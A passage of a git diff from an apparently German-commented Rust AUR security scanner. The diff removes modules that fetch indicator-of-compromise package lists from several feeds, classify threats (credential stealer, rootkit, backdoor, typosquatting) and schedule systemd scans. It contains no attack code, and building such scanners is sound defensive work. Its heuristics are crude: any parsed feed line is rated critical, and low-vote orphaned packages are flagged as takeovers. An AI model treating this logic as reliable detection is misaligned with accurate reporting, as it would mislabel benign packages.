std::fs::remove_file(SYSTEMD_TIMER_PATH)
|
|
||||||
.context("Konnte Timer-Datei nicht löschen")?;
|
|
||||||
info!("Timer entfernt: {}", SYSTEMD_TIMER_PATH);
|
|
||||||
}
|
|
||||||
|
|
||||||
if Path::new(SYSTEMD_SCRIPT_PATH).exists() {
|
|
||||||
std::fs::remove_file(SYSTEMD_SCRIPT_PATH)
|
|
||||||
.context("Konnte Script nicht löschen")?;
|
|
||||||
info!("Script entfernt: {}", SYSTEMD_SCRIPT_PATH);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Systemd neu laden
|
|
||||||
let _ = std::process::Command::new("systemctl")
|
|
||||||
.args(["daemon-reload"])
|
|
||||||
.status();
|
|
||||||
|
|
||||||
info!("Systemd Timer erfolgreich entfernt");
|
|
||||||
Ok(())
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Prüft ob Timer installiert ist
|
|
||||||
pub fn is_timer_installed() -> bool {
|
|
||||||
Path::new(SYSTEMD_TIMER_PATH).exists() && Path::new(SYSTEMD_SERVICE_PATH).exists()
|
|
||||||
}
|
}
|
||||||
@@ -1,545 +0,0 @@
|
|||||||
use anyhow::{Context, Result};
|
|
||||||
use serde::{Deserialize, Serialize};
|
|
||||||
use std::collections::HashSet;
|
|
||||||
use std::time::Duration;
|
|
||||||
use tokio::fs;
|
|
||||||
use tracing::{debug, info, warn};
|
|
||||||
|
|
||||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
|
||||||
pub struct IocEntry {
|
|
||||||
pub package_name: String,
|
|
||||||
pub threat_type: ThreatType,
|
|
||||||
pub source: String,
|
|
||||||
pub discovered_date: String,
|
|
||||||
pub description: String,
|
|
||||||
pub confidence: ConfidenceLevel,
|
|
||||||
}
|
|
||||||
|
|
||||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
|
||||||
pub enum ThreatType {
|
|
||||||
MaliciousBuildScript,
|
|
||||||
CredentialStealer,
|
|
||||||
Rootkit,
|
|
||||||
Cryptominer,
|
|
||||||
Backdoor,
|
|
||||||
Typosquatting,
|
|
||||||
OrphanTakeover,
|
|
||||||
Unknown(String),
|
|
||||||
}
|
|
||||||
|
|
||||||
impl std::fmt::Display for ThreatType {
|
|
||||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
|
||||||
let s = match self {
|
|
||||||
ThreatType::MaliciousBuildScript => "MaliciousBuildScript",
|
|
||||||
ThreatType::CredentialStealer => "CredentialStealer",
|
|
||||||
ThreatType::Rootkit => "Rootkit",
|
|
||||||
ThreatType::Cryptominer => "Cryptominer",
|
|
||||||
ThreatType::Backdoor => "Backdoor",
|
|
||||||
ThreatType::Typosquatting => "Typosquatting",
|
|
||||||
ThreatType::OrphanTakeover => "OrphanTakeover",
|
|
||||||
ThreatType::Unknown(s) => return write!(f, "Unknown({})", s),
|
|
||||||
};
|
|
||||||
write!(f, "{}", s)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
|
||||||
pub enum ConfidenceLevel {
|
|
||||||
Critical,
|
|
||||||
High,
|
|
||||||
Medium,
|
|
||||||
Low,
|
|
||||||
}
|
|
||||||
|
|
||||||
impl std::fmt::Display for ConfidenceLevel {
|
|
||||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
|
||||||
let s = match self {
|
|
||||||
ConfidenceLevel::Critical => "Critical",
|
|
||||||
ConfidenceLevel::High => "High",
|
|
||||||
ConfidenceLevel::Medium => "Medium",
|
|
||||||
ConfidenceLevel::Low => "Low",
|
|
||||||
};
|
|
||||||
write!(f, "{}", s)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/// IOC Quellen — sortiert nach Aktualität und Zuverlässigkeit
|
|
||||||
pub const IOC_SOURCES_LIVE: [(&str, &str, IocSourceType); 4] = [
|
|
||||||
// 1. HEDGEDOC — Immer aktuell (Live-Paste)
|
|
||||||
(
|
|
||||||
"hedgedoc_live",
|
|
||||||
"https://md.archlinux.org/s/SxbqukK6IA",
|
|
||||||
IocSourceType::HedgeDoc,
|
|
||||||
),
|
|
||||||
// 2. GIST — Versioniert, aber evtl. verzögert
|
|
||||||
(
|
|
||||||
"atomic_arch_gist",
|
|
||||||
"https://gist.githubusercontent.com/Kidev/85756c3dcad3623ca5604a8135bafd14/raw",
|
|
||||||
IocSourceType::Gist,
|
|
||||||
),
|
|
||||||
// 3. ARCH SECURITY TRACKER — Offiziell, aber langsam
|
|
||||||
(
|
|
||||||
"arch_security",
|
|
||||||
"https://security.archlinux.org/advisory/atomic-arch/json",
|
|
||||||
IocSourceType::JsonApi,
|
|
||||||
),
|
|
||||||
// 4. AUR RPC — Dynamisch, API-basiert
|
|
||||||
(
|
|
||||||
"aur_rpc",
|
|
||||||
"https://aur.archlinux.org/rpc/v5/search?by=maintainer&arg=orphan",
|
|
||||||
IocSourceType::JsonApi,
|
|
||||||
),
|
|
||||||
];
|
|
||||||
|
|
||||||
#[derive(Debug, Clone)]
|
|
||||||
pub enum IocSourceType {
|
|
||||||
HedgeDoc, // Live-Paste, immer aktuell
|
|
||||||
Gist, // Versioniert, Git-History
|
|
||||||
JsonApi, // REST API
|
|
||||||
TextList, // Plaintext
|
|
||||||
}
|
|
||||||
|
|
||||||
pub struct IocFetcher {
|
|
||||||
client: reqwest::Client,
|
|
||||||
cache_dir: std::path::PathBuf,
|
|
||||||
cache_ttl: Duration,
|
|
||||||
}
|
|
||||||
|
|
||||||
impl IocFetcher {
|
|
||||||
pub async fn new(cache_dir: std::path::PathBuf) -> Result<Self> {
|
|
||||||
let client = reqwest::Client::builder()
|
|
||||||
.timeout(Duration::from_secs(30))
|
|
||||||
.user_agent("AegisAUR/0.1 - AUR Security Scanner")
|
|
||||||
.build()
|
|
||||||
.context("Konnte HTTP Client nicht erstellen")?;
|
|
||||||
|
|
||||||
fs::create_dir_all(&cache_dir).await?;
|
|
||||||
|
|
||||||
Ok(IocFetcher {
|
|
||||||
client,
|
|
||||||
cache_dir,
|
|
||||||
cache_ttl: Duration::from_secs(300), // 5 Minuten Cache für Live-Daten
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
pub fn clone(&self) -> Self {
|
|
||||||
// reqwest::Client implementiert nicht Clone, also neu erstellen
|
|
||||||
let client = reqwest::Client::builder()
|
|
||||||
.timeout(Duration::from_secs(30))
|
|
||||||
.user_agent("AegisAUR/2.0 - Parallel")
|
|
||||||
.build()
|
|
||||||
.expect("HTTP Client fehlgeschlagen");
|
|
||||||
|
|
||||||
IocFetcher {
|
|
||||||
client,
|
|
||||||
cache_dir: self.cache_dir.clone(),
|
|
||||||
cache_ttl: self.cache_ttl,
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Holt ALLE IOC-Quellen mit Fallback-Chain
|
|
||||||
pub async fn fetch_all_iocs(&self) -> Result<Vec<IocEntry>> {
|
|
||||||
let mut all_threats = Vec::new();
|
|
||||||
let mut sources_used = Vec::new();
|
|
||||||
|
|
||||||
// 1. HEDGEDOC (Live, primär)
|
|
||||||
match self.fetch_hedgedoc().await {
|
|
||||||
Ok(threats) => {
|
|
||||||
if !threats.is_empty() {
|
|
||||||
info!("🟢 {} IOCs von HedgeDoc (LIVE)", threats.len());
|
|
||||||
all_threats.extend(threats);
|
|
||||||
sources_used.push("hedgedoc_live");
|
|
||||||
} else {
|
|
||||||
warn!("⚠️ HedgeDoc leer — Fallback zu Gist");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
Err(e) => {
|
|
||||||
warn!("🔴 HedgeDoc fehlgeschlagen: {} — Fallback zu Gist", e);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 2. GIST (Fallback, versioniert)
|
|
||||||
if sources_used.is_empty() {
|
|
||||||
match self.fetch_atomic_arch_gist().await {
|
|
||||||
Ok(threats) => {
|
|
||||||
info!("🟡 {} IOCs von Gist (Fallback)", threats.len());
|
|
||||||
all_threats.extend(threats);
|
|
||||||
sources_used.push("atomic_arch_gist");
|
|
||||||
}
|
|
||||||
Err(e) => warn!("🔴 Gist fehlgeschlagen: {}", e),
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 3. ARCH SECURITY (Offiziell, langsam)
|
|
||||||
match self.fetch_arch_security().await {
|
|
||||||
Ok(threats) => {
|
|
||||||
info!("🟢 {} IOCs von Arch Security", threats.len());
|
|
||||||
all_threats.extend(threats);
|
|
||||||
sources_used.push("arch_security");
|
|
||||||
}
|
|
||||||
Err(e) => warn!("🔴 Arch Security fehlgeschlagen: {}", e),
|
|
||||||
}
|
|
||||||
|
|
||||||
// 4. AUR RPC (Suspicious Maintainer)
|
|
||||||
match self.fetch_suspicious_from_aur().await {
|
|
||||||
Ok(threats) => {
|
|
||||||
if !threats.is_empty() {
|
|
||||||
info!("🟡 {} suspicious Pakete von AUR RPC", threats.len());
|
|
||||||
all_threats.extend(threats);
|
|
||||||
sources_used.push("aur_rpc");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
Err(e) => debug!("AUR RPC fehlgeschlagen: {}", e),
|
|
||||||
}
|
|
||||||
|
|
||||||
info!("📊 Gesamt: {} IOCs aus Quellen: {:?}", all_threats.len(), sources_used);
|
|
||||||
|
|
||||||
// Cache speichern
|
|
||||||
self.save_cache(&all_threats).await?;
|
|
||||||
|
|
||||||
Ok(all_threats)
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Prüft Cache auf Aktualität
|
|
||||||
pub async fn get_cached_iocs(&self) -> Result<Vec<IocEntry>> {
|
|
||||||
let cache_file = self.cache_dir.join("iocs.json");
|
|
||||||
|
|
||||||
if cache_file.exists() {
|
|
||||||
let metadata = fs::metadata(&cache_file).await?;
|
|
||||||
let modified = metadata.modified()?;
|
|
||||||
let modified_datetime: chrono::DateTime<chrono::Local> = modified.into();
|
|
||||||
let now = chrono::Local::now();
|
|
||||||
let age = now.signed_duration_since(modified_datetime);
|
|
||||||
let cache_ttl_duration = chrono::Duration::from_std(self.cache_ttl)?;
|
|
||||||
|
|
||||||
if age < cache_ttl_duration {
|
|
||||||
let content = fs::read_to_string(&cache_file).await?;
|
|
||||||
let iocs: Vec<IocEntry> = serde_json::from_str(&content)
|
|
||||||
.context("Konnte Cache nicht parsen")?;
|
|
||||||
|
|
||||||
let age_minutes = age.num_seconds() / 60;
|
|
||||||
let age_seconds = age.num_seconds() % 60;
|
|
||||||
|
|
||||||
println!("📦 {} IOCs aus Cache (Alter: {}m {}s / TTL: 5m)", iocs.len(), age_minutes, age_seconds);
|
|
||||||
|
|
||||||
return Ok(iocs);
|
|
||||||
} else {
|
|
||||||
println!("⏰ Cache veraltet ({}m {}s alt) — Live-Reload...", age.num_seconds() / 60, age.num_seconds() % 60);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Cache veraltet oder nicht vorhanden — Live holen
|
|
||||||
self.fetch_all_iocs().await
|
|
||||||
}
|
|
||||||
|
|
||||||
// === INDIVIDUELLE FETCHER ===
|
|
||||||
|
|
||||||
/// 1. HEDGEDOC — Immer aktuell
|
|
||||||
async fn fetch_hedgedoc(&self) -> Result<Vec<IocEntry>> {
|
|
||||||
let url = "https://md.archlinux.org/s/SxbqukK6IA";
|
|
||||||
|
|
||||||
let response = self.client
|
|
||||||
.get(url)
|
|
||||||
.send()
|
|
||||||
.await
|
|
||||||
.context("HedgeDoc Request fehlgeschlagen")?;
|
|
||||||
|
|
||||||
if !response.status().is_success() {
|
|
||||||
anyhow::bail!("HedgeDoc HTTP {}", response.status());
|
|
||||||
}
|
|
||||||
|
|
||||||
let text = response.text().await?;
|
|
||||||
let mut threats = Vec::new();
|
|
||||||
|
|
||||||
// HedgeDoc Format: Markdown-Liste mit Paketnamen
|
|
||||||
// Format: `- paketname` oder `paketname` pro Zeile
|
|
||||||
for line in text.lines() {
|
|
||||||
let trimmed = line.trim();
|
|
||||||
|
|
||||||
// Überspringe Markdown-Header, Leerzeilen, Kommentare
|
|
||||||
if trimmed.is_empty()
|
|
||||||
|| trimmed.starts_with('#')
|
|
||||||
|| trimmed.starts_with("---")
|
|
||||||
|| trimmed.starts_with("Arch Linux")
|
|
||||||
|| trimmed.starts_with("Liste der")
|
|
||||||
|| trimmed.starts_with("**")
|
|
||||||
|| trimmed.starts_with("Quelle:")
|
|
||||||
|| trimmed.starts_with("Aktualisiert:") {
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Extrahiere Paketnamen (alles nach `- ` oder einfach die Zeile)
|
|
||||||
let pkg = if trimmed.starts_with("- ") {
|
|
||||||
trimmed[2..].trim()
|
|
||||||
} else if trimmed.starts_with("* ") {
|
|
||||||
trimmed[2..].trim()
|
|
||||||
} else {
|
|
||||||
trimmed
|
|
||||||
};
|
|
||||||
|
|
||||||
// Validiere: Paketnamen sind lowercase, alphanumerisch, -, _, .
|
|
||||||
if !pkg.is_empty()
|
|
||||||
&& pkg.chars().all(|c| c.is_ascii_lowercase() || c.is_ascii_digit() || c == '-' || c == '_' || c == '.')
|
|
||||||
&& pkg.len() < 100 {
|
|
||||||
threats.push(IocEntry {
|
|
||||||
package_name: pkg.to_string(),
|
|
||||||
threat_type: ThreatType::MaliciousBuildScript,
|
|
||||||
source: "hedgedoc_live".to_string(),
|
|
||||||
discovered_date: chrono::Local::now().format("%Y-%m-%d").to_string(),
|
|
||||||
description: "Atomic Arch Supply Chain Attack — Live HedgeDoc".to_string(),
|
|
||||||
confidence: ConfidenceLevel::Critical,
|
|
||||||
});
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
Ok(threats)
|
|
||||||
}
|
|
||||||
|
|
||||||
/// 2. ATOMIC ARCH GIST — Versionierter Fallback
|
|
||||||
async fn fetch_atomic_arch_gist(&self) -> Result<Vec<IocEntry>> {
|
|
||||||
// Gist-History für "Latest" holen
|
|
||||||
let history_url = "https://api.github.com/gists/85756c3dcad3623ca5604a8135bafd14";
|
|
||||||
let latest_version = match self.client.get(history_url).send().await {
|
|
||||||
Ok(resp) => {
|
|
||||||
if resp.status().is_success() {
|
|
||||||
let gist: serde_json::Value = resp.json().await?;
|
|
||||||
gist["history"][0]["version"].as_str().map(|s| s.to_string())
|
|
||||||
} else {
|
|
||||||
None
|
|
||||||
}
|
|
||||||
}
|
|
||||||
Err(_) => None,
|
|
||||||
};
|
|
||||||
|
|
||||||
// Raw URL mit Version für Cache-Busting
|
|
||||||
let raw_url = match latest_version {
|
|
||||||
Some(v) => format!(
|
|
||||||
"https://gist.githubusercontent.com/Kidev/85756c3dcad3623ca5604a8135bafd14/raw?version={}",
|
|
||||||
v
|
|
||||||
),
|
|
||||||
None => "https://gist.githubusercontent.com/Kidev/85756c3dcad3623ca5604a8135bafd14/raw".to_string(),
|
|
||||||
};
|
|
||||||
|
|
||||||
let response = self.client
|
|
||||||
.get(&raw_url)
|
|
||||||
.send()
|
|
||||||
.await
|
|
||||||
.context("Gist Request fehlgeschlagen")?;
|
|
||||||
|
|
||||||
if !response.status().is_success() {
|
|
||||||
anyhow::bail!("Gist HTTP {}", response.status());
|
|
||||||
}
|
|
||||||
|
|
||||||
let text = response.text().await?;
|
|
||||||
let mut threats = Vec::new();
|
|
||||||
|
|
||||||
// Gist ist ein Script — wir parsen die Paketliste
|
|
||||||
for line in text.lines() {
|
|
||||||
let trimmed = line.trim();
|
|
||||||
if trimmed.is_empty() || trimmed.starts_with('#') || trimmed.starts_with("echo") {
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Extrahiere Paketnamen (ähnlich wie HedgeDoc)
|
|
||||||
if trimmed.starts_with("[") || trimmed.starts_with("{") {
|
|
||||||
if let Ok(json_list) = serde_json::from_str::<Vec<String>>(trimmed) {
|
|
||||||
for pkg in json_list {
|
|
||||||
threats.push(IocEntry {
|
|
||||||
package_name: pkg,
|
|
||||||
threat_type: ThreatType::MaliciousBuildScript,
|
|
||||||
source: "atomic_arch_gist".to_string(),
|
|
||||||
discovered_date: chrono::Local::now().format("%Y-%m-%d").to_string(),
|
|
||||||
description: "Atomic Arch Supply Chain Attack — Gist Fallback".to_string(),
|
|
||||||
confidence: ConfidenceLevel::Critical,
|
|
||||||
});
|
|
||||||
}
|
|
||||||
}
|
|
||||||
} else if !trimmed.contains(" ") && !trimmed.contains("/") && trimmed.len() < 100 {
|
|
||||||
// Einzelne Paketnamen
|
|
||||||
threats.push(IocEntry {
|
|
||||||
package_name: trimmed.to_string(),
|
|
||||||
threat_type: ThreatType::MaliciousBuildScript,
|
|
||||||
source: "atomic_arch_gist".to_string(),
|
|
||||||
discovered_date: chrono::Local::now().format("%Y-%m-%d").to_string(),
|
|
||||||
description: "Atomic Arch Supply Chain Attack — Gist Fallback".to_string(),
|
|
||||||
confidence: ConfidenceLevel::Critical,
|
|
||||||
});
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
Ok(threats)
|
|
||||||
}
|
|
||||||
|
|
||||||
/// 3. ARCH SECURITY TRACKER — Offiziell
|
|
||||||
async fn fetch_arch_security(&self) -> Result<Vec<IocEntry>> {
|
|
||||||
let url = "https://security.archlinux.org/advisory/atomic-arch/json";
|
|
||||||
|
|
||||||
let response = self.client
|
|
||||||
.get(url)
|
|
||||||
.send()
|
|
||||||
.await;
|
|
||||||
|
|
||||||
match response {
|
|
||||||
Ok(resp) => {
|
|
||||||
if resp.status().is_success() {
|
|
||||||
let advisory: serde_json::Value = resp.json().await?;
|
|
||||||
let mut threats = Vec::new();
|
|
||||||
|
|
||||||
// Parsen der Advisory-JSON
|
|
||||||
if let Some(packages) = advisory["packages"].as_array() {
|
|
||||||
for pkg in packages {
|
|
||||||
if let Some(name) = pkg.as_str() {
|
|
||||||
threats.push(IocEntry {
|
|
||||||
package_name: name.to_string(),
|
|
||||||
threat_type: ThreatType::MaliciousBuildScript,
|
|
||||||
source: "arch_security".to_string(),
|
|
||||||
discovered_date: chrono::Local::now().format("%Y-%m-%d").to_string(),
|
|
||||||
description: "Arch Linux Security Advisory — Atomic Arch".to_string(),
|
|
||||||
confidence: ConfidenceLevel::Critical,
|
|
||||||
});
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
Ok(threats)
|
|
||||||
} else {
|
|
||||||
Ok(Vec::new())
|
|
||||||
}
|
|
||||||
}
|
|
||||||
Err(_) => Ok(Vec::new()),
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/// 4. AUR RPC — Suspicious Maintainer
|
|
||||||
async fn fetch_suspicious_from_aur(&self) -> Result<Vec<IocEntry>> {
|
|
||||||
// Suche nach orphaned Paketen die kürzlich übernommen wurden
|
|
||||||
// Dies ist eine Heuristik für mögliche Orphan-Takeover
|
|
||||||
let url = "https://aur.archlinux.org/rpc/v5/search?by=maintainer&arg=orphan";
|
|
||||||
|
|
||||||
let response = self.client.get(url).send().await;
|
|
||||||
|
|
||||||
match response {
|
|
||||||
Ok(resp) => {
|
|
||||||
if resp.status().is_success() {
|
|
||||||
let rpc: serde_json::Value = resp.json().await?;
|
|
||||||
let mut threats = Vec::new();
|
|
||||||
|
|
||||||
if let Some(results) = rpc["results"].as_array() {
|
|
||||||
for pkg in results.iter().take(50) {
|
|
||||||
if let Some(name) = pkg["Name"].as_str() {
|
|
||||||
// Hohe Heuristik-Scores
|
|
||||||
let votes = pkg["NumVotes"].as_u64().unwrap_or(0);
|
|
||||||
|
|
||||||
if votes < 10 {
|
|
||||||
threats.push(IocEntry {
|
|
||||||
package_name: name.to_string(),
|
|
||||||
threat_type: ThreatType::OrphanTakeover,
|
|
||||||
source: "aur_rpc".to_string(),
|
|
||||||
discovered_date: chrono::Local::now().format("%Y-%m-%d").to_string(),
|
|
||||||
description: "AUR Orphaned Package — niedrige Votes".to_string(),
|
|
||||||
confidence: ConfidenceLevel::Medium,
|
|
||||||
});
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
Ok(threats)
|
|
||||||
} else {
|
|
||||||
Ok(Vec::new())
|
|
||||||
}
|
|
||||||
}
|
|
||||||
Err(_) => Ok(Vec::new()),
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// === CACHE ===
|
|
||||||
|
|
||||||
async fn save_cache(
|
|
||||||
&self,
|
|
||||||
iocs: &[IocEntry]
|
|
||||||
) -> Result<()> {
|
|
||||||
let cache_file = self.cache_dir.join("iocs.json");
|
|
||||||
let json = serde_json::to_string_pretty(iocs)?;
|
|
||||||
fs::write(cache_file, json).await?;
|
|
||||||
Ok(())
|
|
||||||
}
|
|
||||||
|
|
||||||
// === PUBLIC HELPERS ===
|
|
||||||
|
|
||||||
pub fn check_package(
|
|
||||||
&self,
|
|
||||||
package: &str,
|
|
||||||
iocs: &[IocEntry]
|
|
||||||
) -> Vec<IocEntry> {
|
|
||||||
iocs.iter()
|
|
||||||
.filter(|ioc| ioc.package_name.eq_ignore_ascii_case(package))
|
|
||||||
.cloned()
|
|
||||||
.collect()
|
|
||||||
}
|
|
||||||
|
|
||||||
pub fn check_typosquatting(
|
|
||||||
&self,
|
|
||||||
package: &str,
|
|
||||||
iocs: &[IocEntry]
|
|
||||||
) -> Vec<IocEntry> {
|
|
||||||
use sublime_fuzzy::best_match;
|
|
||||||
|
|
||||||
let mut matches = Vec::new();
|
|
||||||
for ioc in iocs {
|
|
||||||
if let Some(m) = best_match(package, &ioc.package_name) {
|
|
||||||
if m.score() > 70 && ioc.package_name.to_lowercase() != package.to_lowercase() {
|
|
||||||
matches.push(ioc.clone());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
matches
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
#[cfg(test)]
|
|
||||||
mod tests {
|
|
||||||
use super::*;
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn test_cache_creation() {
|
|
||||||
let tmp = tempfile::tempdir().unwrap();
|
|
||||||
let fetcher = IocFetcher::new(tmp.path().to_path_buf()).await.unwrap();
|
|
||||||
|
|
||||||
let iocs = vec![
|
|
||||||
IocEntry {
|
|
||||||
package_name: "test-pkg".to_string(),
|
|
||||||
threat_type: ThreatType::Backdoor,
|
|
||||||
source: "test".to_string(),
|
|
||||||
discovered_date: "2024-01-01".to_string(),
|
|
||||||
description: "Test".to_string(),
|
|
||||||
confidence: ConfidenceLevel::High,
|
|
||||||
},
|
|
||||||
];
|
|
||||||
|
|
||||||
fetcher.save_cache(&iocs).await.unwrap();
|
|
||||||
let cached = fetcher.get_cached_iocs().await.unwrap();
|
|
||||||
|
|
||||||
assert_eq!(cached.len(), 1);
|
|
||||||
assert_eq!(cached[0].package_name, "test-pkg");
|
|
||||||
}
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn test_hedgedoc_fetch() {
|
|
||||||
let tmp = tempfile::tempdir().unwrap();
|
|
||||||
let fetcher = IocFetcher::new(tmp.path().to_path_buf()).await.unwrap();
|
|
||||||
|
|
||||||
// Live-Test (kann fehlschlagen wenn HedgeDoc down)
|
|
||||||
let threats = fetcher.fetch_hedgedoc().await;
|
|
||||||
|
|
||||||
// Sollte entweder IOCs liefern oder fehlschlagen
|
|
||||||
match threats {
|
|
||||||
Ok(list) => {
|
|
||||||
println!("HedgeDoc lieferte {} IOCs", list.len());
|
|
||||||
}
|
|
||||||
Err(e) => {
|
|
||||||
println!("HedgeDoc fehlgeschlagen: {} (normal wenn offline)", e);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
+4
-25
@@ -60,10 +60,6 @@ enum Commands {
|
|||||||
InstallHook,
|
InstallHook,
|
||||||
/// Entfernt ALPM-Hook
|
/// Entfernt ALPM-Hook
|
||||||
RemoveHook,
|
RemoveHook,
|
||||||
/// Installiert Systemd-Timer für tägliche Scans
|
|
||||||
InstallTimer,
|
|
||||||
/// Entfernt Systemd-Timer
|
|
||||||
RemoveTimer,
|
|
||||||
/// Zeigt Cache-Status
|
/// Zeigt Cache-Status
|
||||||
Cache,
|
Cache,
|
||||||
}
|
}
|
||||||
@@ -71,20 +67,13 @@ enum Commands {
|
|||||||
#[tokio::main]
|
#[tokio::main]
|
||||||
async fn main() -> Result<()> {
|
async fn main() -> Result<()> {
|
||||||
// Logging initialisieren
|
// Logging initialisieren
|
||||||
// WICHTIG: Logs werden nur bei direkten Befehlen (nicht im Hook) angezeigt
|
|
||||||
if std::env::var("RUST_LOG").is_err() {
|
|
||||||
std::env::set_var("RUST_LOG", "info");
|
|
||||||
}
|
|
||||||
tracing_subscriber::fmt()
|
tracing_subscriber::fmt()
|
||||||
.with_env_filter(tracing_subscriber::EnvFilter::from_default_env())
|
.with_env_filter("aegisaur=info")
|
||||||
.with_target(false)
|
|
||||||
.with_thread_ids(false)
|
|
||||||
.with_level(true)
|
|
||||||
.init();
|
.init();
|
||||||
|
|
||||||
let cli = Cli::parse();
|
let cli = Cli::parse();
|
||||||
let config = AegisConfig::load_or_default().await?;
|
let config = AegisConfig::load_or_default()?;
|
||||||
let mut scanner = PackageScanner::new(config).await?;
|
let scanner = PackageScanner::new(config).await?;
|
||||||
|
|
||||||
match cli.command {
|
match cli.command {
|
||||||
Commands::Scan { package, verbose } => {
|
Commands::Scan { package, verbose } => {
|
||||||
@@ -108,7 +97,7 @@ async fn main() -> Result<()> {
|
|||||||
} else {
|
} else {
|
||||||
println!("{} {}", "⚠️ Bedrohungen gefunden:".red().bold(), threats.len());
|
println!("{} {}", "⚠️ Bedrohungen gefunden:".red().bold(), threats.len());
|
||||||
for threat in threats {
|
for threat in threats {
|
||||||
println!(" {} {} - {}", "🔴".red(), threat.package, threat.threat_type);
|
println!(" {} {} - {}", "🔴".red(), threat.package, threat.reason);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -133,16 +122,6 @@ async fn main() -> Result<()> {
|
|||||||
hook::remove_alpm_hook()?;
|
hook::remove_alpm_hook()?;
|
||||||
println!("{}", "❌ ALPM-Hook entfernt".yellow().bold());
|
println!("{}", "❌ ALPM-Hook entfernt".yellow().bold());
|
||||||
}
|
}
|
||||||
Commands::InstallTimer => {
|
|
||||||
hook::install_systemd_timer()?;
|
|
||||||
println!("{}", "✅ Systemd-Timer installiert".green().bold());
|
|
||||||
println!(" Timer läuft täglich um 03:00 Uhr");
|
|
||||||
println!(" Logs: journalctl -u aegisaur-scan.timer");
|
|
||||||
}
|
|
||||||
Commands::RemoveTimer => {
|
|
||||||
hook::remove_systemd_timer()?;
|
|
||||||
println!("{}", "❌ Systemd-Timer entfernt".yellow().bold());
|
|
||||||
}
|
|
||||||
Commands::Cache => {
|
Commands::Cache => {
|
||||||
scanner.show_cache_status().await?;
|
scanner.show_cache_status().await?;
|
||||||
}
|
}
|
||||||
|
|||||||
-670
@@ -1,670 +0,0 @@
|
|||||||
use anyhow::{Context, Result};
|
|
||||||
use colored::*;
|
|
||||||
use serde::{Deserialize, Serialize};
|
|
||||||
use std::collections::HashSet;
|
|
||||||
use std::path::{Path, PathBuf};
|
|
||||||
use tokio::fs;
|
|
||||||
use tokio::process::Command;
|
|
||||||
use tracing::{debug, info, warn};
|
|
||||||
|
|
||||||
use crate::config::AegisConfig;
|
|
||||||
use crate::ioc_fetcher::{IocEntry, IocFetcher};
|
|
||||||
use crate::trust_scorer::{CriticalFinding, TrustScorer, TrustScore};
|
|
||||||
|
|
||||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
|
||||||
pub struct ScanResult {
|
|
||||||
pub package: String,
|
|
||||||
pub version: String,
|
|
||||||
pub score: u32,
|
|
||||||
pub max_score: u32,
|
|
||||||
pub status: ScanStatus,
|
|
||||||
pub warnings: Vec<String>,
|
|
||||||
pub critical_findings: Vec<String>,
|
|
||||||
pub ioc_matches: Vec<String>,
|
|
||||||
pub details: Option<ScanDetails>,
|
|
||||||
}
|
|
||||||
|
|
||||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
|
||||||
pub struct ScanDetails {
|
|
||||||
pub source_url: Option<String>,
|
|
||||||
pub maintainer: Option<String>,
|
|
||||||
pub votes: Option<u32>,
|
|
||||||
pub popularity: Option<f32>,
|
|
||||||
pub last_modified: Option<String>,
|
|
||||||
pub out_of_date: bool,
|
|
||||||
pub is_orphaned: bool,
|
|
||||||
pub pkgbuild_raw: Option<String>,
|
|
||||||
}
|
|
||||||
|
|
||||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
|
||||||
pub enum ScanStatus {
|
|
||||||
Safe,
|
|
||||||
Warning,
|
|
||||||
Suspicious,
|
|
||||||
Dangerous,
|
|
||||||
IOCDetected,
|
|
||||||
Unknown,
|
|
||||||
}
|
|
||||||
|
|
||||||
pub struct PackageScanner {
|
|
||||||
config: AegisConfig,
|
|
||||||
ioc_fetcher: IocFetcher,
|
|
||||||
trust_scorer: TrustScorer,
|
|
||||||
cache_dir: PathBuf,
|
|
||||||
whitelist: HashSet<String>,
|
|
||||||
}
|
|
||||||
|
|
||||||
impl PackageScanner {
|
|
||||||
pub async fn new(config: AegisConfig) -> Result<Self> {
|
|
||||||
let cache_dir = directories::ProjectDirs::from("eu", "heimatlosen", "aegisaur")
|
|
||||||
.map(|pd| pd.cache_dir().to_path_buf())
|
|
||||||
.unwrap_or_else(|| PathBuf::from("/tmp"))
|
|
||||||
.join("aegisaur");
|
|
||||||
|
|
||||||
fs::create_dir_all(&cache_dir).await?;
|
|
||||||
|
|
||||||
let ioc_fetcher = IocFetcher::new(cache_dir.clone()).await?;
|
|
||||||
let trust_scorer = TrustScorer::new()?;
|
|
